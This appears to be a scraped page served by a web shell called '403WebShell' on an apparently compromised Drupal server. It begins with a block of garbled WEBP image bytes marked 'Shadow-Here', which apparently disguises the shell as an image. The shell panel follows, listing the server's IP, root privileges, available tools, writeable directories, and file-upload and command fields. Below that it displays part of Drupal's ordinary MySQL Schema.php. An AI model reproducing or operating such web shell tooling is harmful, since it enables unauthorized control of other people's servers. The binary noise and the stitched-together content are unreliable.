RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /srv/wp/ciieduconnect.in/www/core/modules/mysql/src/Driver/Database/mysql/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /srv/wp/ciieduconnect.in/www/core/modules/mysql/src/Driver/Database/mysql/Schema.php
<?php

namespace Drupal\mysql\Driver\Database\mysql;

use Drupal\Core\Database\SchemaException;
use Drupal\Core\Database\SchemaObjectExistsException;
use Drupal\Core\Database\SchemaObjectDoesNotExistException;
use Drupal\Core\Database\Schema as DatabaseSchema;
use Drupal\Component\Utility\Unicode;

/**
 * @addtogroup schemaapi
 * @{
 */

/**
 * MySQL implementation of \Drupal\Core\Database\Schema.
 */
class Schema extends DatabaseSchema {

  /**
   * Maximum length of a table comment in MySQL.
   */
  const COMMENT_MAX_TABLE = 60;

  /**
   * Maximum length of a column comment in MySQL.
   */
  const COMMENT_MAX_COLUMN = 255;

  /**
   * @var array
   *   List of MySQL string types.
   */
  protected $mysqlStringTypes = [
    'VARCHAR',
    'CHAR',
    'TINYTEXT',
    'MEDIUMTEXT',
    'LONGTEXT',
    'TEXT',
  ];

  /**
   * Get information about the table and database name from the prefix.
   *
   * @return array
   *   A keyed array with information about the database, table name and prefix.
   */
  protected function getPrefixInfo($table = 'default', $add_prefix = TRUE) {
    $info = ['prefix' => $this->connection->tablePrefix($table)];
    if ($add_prefix) {
      $table = $info['prefix'] . $table;
    }
    if (($pos = strpos($table, '.')) !== FALSE) {
      $info['database'] = substr($table, 0, $pos);
      $info['table'] = substr($table, ++$pos);
    }
    else {
      $info['database'] = $this->connection->getConnectionOptions()['database'];
      $info['table'] = $table;
    }
    return $info;
  }

  /**
   * Build a condition to match a table name against a standard information_schema.
   *
   * MySQL uses databases like schemas rather than catalogs so when we build
   * a condition to query the information_schema.tables, we set the default
   * database as the schema unless specified otherwise, and exclude table_catalog
   * from the condition criteria.
   */
  protected function buildTableNameCondition($table_name, $operator = '=', $add_prefix = TRUE) {
    $table_info = $this->getPrefixInfo($table_name, $add_prefix);

    $condition = $this->connection->condition('AND');
    $condition->condition('table_schema', $table_info['database']);
    $condition->condition('table_name', $table_info['table'], $operator);
    return $condition;
  }

  /**
   * Generate SQL to create a new table from a Drupal schema definition.
   *
   * @param $name
   *   The name of the table to create.
   * @param $table
   *   A Schema API table definition array.
   *
   * @return string[]
   *   An array of SQL statements to create the table.
   */
  protected function createTableSql($name, $table) {
    $info = $this->connection->getConnectionOptions();

    // Provide defaults if needed.
    $table += [
      'mysql_engine' => 'InnoDB',
      'mysql_character_set' => 'utf8mb4',
    ];

    $sql = "CREATE TABLE {" . $name . "} (\n";

    // Add the SQL statement for each field.
    foreach ($table['fields'] as $field_name => $field) {
      $sql .= $this->createFieldSql($field_name, $this->processField($field)) . ", \n";
    }

    // Process keys & indexes.
    if (!empty($table['primary key']) && is_array($table['primary key'])) {
      $this->ensureNotNullPrimaryKey($table['primary key'], $table['fields']);
    }
    $keys = $this->createKeysSql($table);
    if (count($keys)) {
      $sql .= implode(", \n", $keys) . ", \n";
    }

    // Remove the last comma and space.
    $sql = substr($sql, 0, -3) . "\n) ";

    $sql .= 'ENGINE = ' . $table['mysql_engine'] . ' DEFAULT CHARACTER SET ' . $table['mysql_character_set'];
    // By default, MySQL uses the default collation for new tables, which is
    // 'utf8mb4_general_ci' (MySQL 5) or 'utf8mb4_0900_ai_ci' (MySQL 8) for
    // utf8mb4. If an alternate collation has been set, it needs to be
    // explicitly specified.
    // @see \Drupal\mysql\Driver\Database\mysql\Schema
    if (!empty($info['collation'])) {
      $sql .= ' COLLATE ' . $info['collation'];
    }

    // Add table comment.
    if (!empty($table['description'])) {
      $sql .= ' COMMENT ' . $this->prepareComment($table['description'], self::COMMENT_MAX_TABLE);
    }

    return [$sql];
  }

  /**
   * Create an SQL string for a field to be used in table creation or alteration.
   *
   * @param string $name
   *   Name of the field.
   * @param array $spec
   *   The field specification, as per the schema data structure format.
   */
  protected function createFieldSql($name, $spec) {
    $sql = "`" . $name . "` " . $spec['mysql_type'];

    if (in_array($spec['mysql_type'], $this->mysqlStringTypes)) {
      if (isset($spec['length'])) {
        $sql .= '(' . $spec['length'] . ')';
      }
      if (isset($spec['type']) && $spec['type'] == 'varchar_ascii') {
        $sql .= ' CHARACTER SET ascii';
      }
      if (!empty($spec['binary'])) {
        $sql .= ' BINARY';
      }
      // Note we check for the "type" key here. "mysql_type" is VARCHAR:
      elseif (isset($spec['type']) && $spec['type'] == 'varchar_ascii') {
        $sql .= ' COLLATE ascii_general_ci';
      }
    }
    elseif (isset($spec['precision']) && isset($spec['scale'])) {
      $sql .= '(' . $spec['precision'] . ', ' . $spec['scale'] . ')';
    }

    if (!empty($spec['unsigned'])) {
      $sql .= ' unsigned';
    }

    if (isset($spec['not null'])) {
      if ($spec['not null']) {
        $sql .= ' NOT NULL';
      }
      else {
        $sql .= ' NULL';
      }
    }

    if (!empty($spec['auto_increment'])) {
      $sql .= ' auto_increment';
    }

    // $spec['default'] can be NULL, so we explicitly check for the key here.
    if (array_key_exists('default', $spec)) {
      $sql .= ' DEFAULT ' . $this->escapeDefaultValue($spec['default']);
    }

    if (empty($spec['not null']) && !isset($spec['default'])) {
      $sql .= ' DEFAULT NULL';
    }

    // Add column comment.
    if (!empty($spec['description'])) {
      $sql .= ' COMMENT ' . $this->prepareComment($spec['description'], self::COMMENT_MAX_COLUMN);
    }

    return $sql;
  }

  /**
   * Set database-engine specific properties for a field.
   *
   * @param $field
   *   A field description array, as specified in the schema documentation.
   */
  protected function processField($field) {

    if (!isset($field['size'])) {
      $field['size'] = 'normal';
    }

    // Set the correct database-engine specific datatype.
    // In case one is already provided, force it to uppercase.
    if (isset($field['mysql_type'])) {
      $field['mysql_type'] = mb_strtoupper($field['mysql_type']);
    }
    else {
      $map = $this->getFieldTypeMap();
      $field['mysql_type'] = $map[$field['type'] . ':' . $field['size']];
    }

    if (isset($field['type']) && $field['type'] == 'serial') {
      $field['auto_increment'] = TRUE;
    }

    return $field;
  }

  /**
   * {@inheritdoc}
   */
  public function getFieldTypeMap() {
    // Put :normal last so it gets preserved by array_flip. This makes
    // it much easier for modules (such as schema.module) to map
    // database types back into schema types.
    // $map does not use drupal_static as its value never changes.
    static $map = [
      'varchar_ascii:normal' => 'VARCHAR',

      'varchar:normal'  => 'VARCHAR',
      'char:normal'     => 'CHAR',

      'text:tiny'       => 'TINYTEXT',
      'text:small'      => 'TINYTEXT',
      'text:medium'     => 'MEDIUMTEXT',
      'text:big'        => 'LONGTEXT',
      'text:normal'     => 'TEXT',

      'serial:tiny'     => 'TINYINT',
      'serial:small'    => 'SMALLINT',
      'serial:medium'   => 'MEDIUMINT',
      'serial:big'      => 'BIGINT',
      'serial:normal'   => 'INT',

      'int:tiny'        => 'TINYINT',
      'int:small'       => 'SMALLINT',
      'int:medium'      => 'MEDIUMINT',
      'int:big'         => 'BIGINT',
      'int:normal'      => 'INT',

      'float:tiny'      => 'FLOAT',
      'float:small'     => 'FLOAT',
      'float:medium'    => 'FLOAT',
      'float:big'       => 'DOUBLE',
      'float:normal'    => 'FLOAT',

      'numeric:normal'  => 'DECIMAL',

      'blob:big'        => 'LONGBLOB',
      'blob:normal'     => 'BLOB',
    ];
    return $map;
  }

  protected function createKeysSql($spec) {
    $keys = [];

    if (!empty($spec['primary key'])) {
      $keys[] = 'PRIMARY KEY (' . $this->createKeySql($spec['primary key']) . ')';
    }
    if (!empty($spec['unique keys'])) {
      foreach ($spec['unique keys'] as $key => $fields) {
        $keys[] = 'UNIQUE KEY `' . $key . '` (' . $this->createKeySql($fields) . ')';
      }
    }
    if (!empty($spec['indexes'])) {
      $indexes = $this->getNormalizedIndexes($spec);
      foreach ($indexes as $index => $fields) {
        $keys[] = 'INDEX `' . $index . '` (' . $this->createKeySql($fields) . ')';
      }
    }

    return $keys;
  }

  /**
   * Gets normalized indexes from a table specification.
   *
   * Shortens indexes to 191 characters if they apply to utf8mb4-encoded
   * fields, in order to comply with the InnoDB index limitation of 756 bytes.
   *
   * @param array $spec
   *   The table specification.
   *
   * @return array
   *   List of shortened indexes.
   *
   * @throws \Drupal\Core\Database\SchemaException
   *   Thrown if field specification is missing.
   */
  protected function getNormalizedIndexes(array $spec) {
    $indexes = $spec['indexes'] ?? [];
    foreach ($indexes as $index_name => $index_fields) {
      foreach ($index_fields as $index_key => $index_field) {
        // Get the name of the field from the index specification.
        $field_name = is_array($index_field) ? $index_field[0] : $index_field;
        // Check whether the field is defined in the table specification.
        if (isset($spec['fields'][$field_name])) {
          // Get the MySQL type from the processed field.
          $mysql_field = $this->processField($spec['fields'][$field_name]);
          if (in_array($mysql_field['mysql_type'], $this->mysqlStringTypes)) {
            // Check whether we need to shorten the index.
            if ((!isset($mysql_field['type']) || $mysql_field['type'] != 'varchar_ascii') && (!isset($mysql_field['length']) || $mysql_field['length'] > 191)) {
              // Limit the index length to 191 characters.
              $this->shortenIndex($indexes[$index_name][$index_key]);
            }
          }
        }
        else {
          throw new SchemaException("MySQL needs the '$field_name' field specification in order to normalize the '$index_name' index");
        }
      }
    }
    return $indexes;
  }

  /**
   * Helper function for normalizeIndexes().
   *
   * Shortens an index to 191 characters.
   *
   * @param array $index
   *   The index array to be used in createKeySql.
   *
   * @see Drupal\mysql\Driver\Database\mysql\Schema::createKeySql()
   * @see Drupal\mysql\Driver\Database\mysql\Schema::normalizeIndexes()
   */
  protected function shortenIndex(&$index) {
    if (is_array($index)) {
      if ($index[1] > 191) {
        $index[1] = 191;
      }
    }
    else {
      $index = [$index, 191];
    }
  }

  protected function createKeySql($fields) {
    $return = [];
    foreach ($fields as $field) {
      if (is_array($field)) {
        $return[] = '`' . $field[0] . '`(' . $field[1] . ')';
      }
      else {
        $return[] = '`' . $field . '`';
      }
    }
    return implode(', ', $return);
  }

  /**
   * {@inheritdoc}
   */
  public function renameTable($table, $new_name) {
    if (!$this->tableExists($table)) {
      throw new SchemaObjectDoesNotExistException("Cannot rename '$table' to '$new_name': table '$table' doesn't exist.");
    }
    if ($this->tableExists($new_name)) {
      throw new SchemaObjectExistsException("Cannot rename '$table' to '$new_name': table '$new_name' already exists.");
    }

    $info = $this->getPrefixInfo($new_name);
    $this->connection->query('ALTER TABLE {' . $table . '} RENAME TO `' . $info['table'] . '`');
  }

  /**
   * {@inheritdoc}
   */
  public function dropTable($table) {
    if (!$this->tableExists($table)) {
      return FALSE;
    }

    $this->connection->query('DROP TABLE {' . $table . '}');
    return TRUE;
  }

  /**
   * {@inheritdoc}
   */
  public function addField($table, $field, $spec, $keys_new = []) {
    if (!$this->tableExists($table)) {
      throw new SchemaObjectDoesNotExistException("Cannot add field '$table.$field': table doesn't exist.");
    }
    if ($this->fieldExists($table, $field)) {
      throw new SchemaObjectExistsException("Cannot add field '$table.$field': field already exists.");
    }

    // Fields that are part of a PRIMARY KEY must be added as NOT NULL.
    $is_primary_key = isset($keys_new['primary key']) && in_array($field, $keys_new['primary key'], TRUE);
    if ($is_primary_key) {
      $this->ensureNotNullPrimaryKey($keys_new['primary key'], [$field => $spec]);
    }

    $fixnull = FALSE;
    if (!empty($spec['not null']) && !isset($spec['default']) && !$is_primary_key) {
      $fixnull = TRUE;
      $spec['not null'] = FALSE;
    }
    $query = 'ALTER TABLE {' . $table . '} ADD ';
    $query .= $this->createFieldSql($field, $this->processField($spec));
    if ($keys_sql = $this->createKeysSql($keys_new)) {
      // Make sure to drop the existing primary key before adding a new one.
      // This is only needed when adding a field because this method, unlike
      // changeField(), is supposed to handle primary keys automatically.
      if (isset($keys_new['primary key']) && $this->indexExists($table, 'PRIMARY')) {
        $query .= ', DROP PRIMARY KEY';
      }

      $query .= ', ADD ' . implode(', ADD ', $keys_sql);
    }
    $this->connection->query($query);
    if (isset($spec['initial_from_field'])) {
      if (isset($spec['initial'])) {
        $expression = 'COALESCE(' . $spec['initial_from_field'] . ', :default_initial_value)';
        $arguments = [':default_initial_value' => $spec['initial']];
      }
      else {
        $expression = $spec['initial_from_field'];
        $arguments = [];
      }
      $this->connection->update($table)
        ->expression($field, $expression, $arguments)
        ->execute();
    }
    elseif (isset($spec['initial'])) {
      $this->connection->update($table)
        ->fields([$field => $spec['initial']])
        ->execute();
    }
    if ($fixnull) {
      $spec['not null'] = TRUE;
      $this->changeField($table, $field, $field, $spec);
    }
  }

  /**
   * {@inheritdoc}
   */
  public function dropField($table, $field) {
    if (!$this->fieldExists($table, $field)) {
      return FALSE;
    }

    // When dropping a field that is part of a composite primary key MySQL
    // automatically removes the field from the primary key, which can leave the
    // table in an invalid state. MariaDB 10.2.8 requires explicitly dropping
    // the primary key first for this reason. We perform this deletion
    // explicitly which also makes the behavior on both MySQL and MariaDB
    // consistent with PostgreSQL.
    // @see https://mariadb.com/kb/en/library/alter-table
    $primary_key = $this->findPrimaryKeyColumns($table);
    if ((count($primary_key) > 1) && in_array($field, $primary_key, TRUE)) {
      $this->dropPrimaryKey($table);
    }

    $this->connection->query('ALTER TABLE {' . $table . '} DROP `' . $field . '`');
    return TRUE;
  }

  /**
   * {@inheritdoc}
   */
  public function indexExists($table, $name) {
    // Returns one row for each column in the index. Result is string or FALSE.
    // Details at http://dev.mysql.com/doc/refman/5.0/en/show-index.html
    $row = $this->connection->query('SHOW INDEX FROM {' . $table . '} WHERE key_name = ' . $this->connection->quote($name))->fetchAssoc();
    return isset($row['Key_name']);
  }

  /**
   * {@inheritdoc}
   */
  public function addPrimaryKey($table, $fields) {
    if (!$this->tableExists($table)) {
      throw new SchemaObjectDoesNotExistException("Cannot add primary key to table '$table': table doesn't exist.");
    }
    if ($this->indexExists($table, 'PRIMARY')) {
      throw new SchemaObjectExistsException("Cannot add primary key to table '$table': primary key already exists.");
    }

    $this->connection->query('ALTER TABLE {' . $table . '} ADD PRIMARY KEY (' . $this->createKeySql($fields) . ')');
  }

  /**
   * {@inheritdoc}
   */
  public function dropPrimaryKey($table) {
    if (!$this->indexExists($table, 'PRIMARY')) {
      return FALSE;
    }

    $this->connection->query('ALTER TABLE {' . $table . '} DROP PRIMARY KEY');
    return TRUE;
  }

  /**
   * {@inheritdoc}
   */
  protected function findPrimaryKeyColumns($table) {
    if (!$this->tableExists($table)) {
      return FALSE;
    }
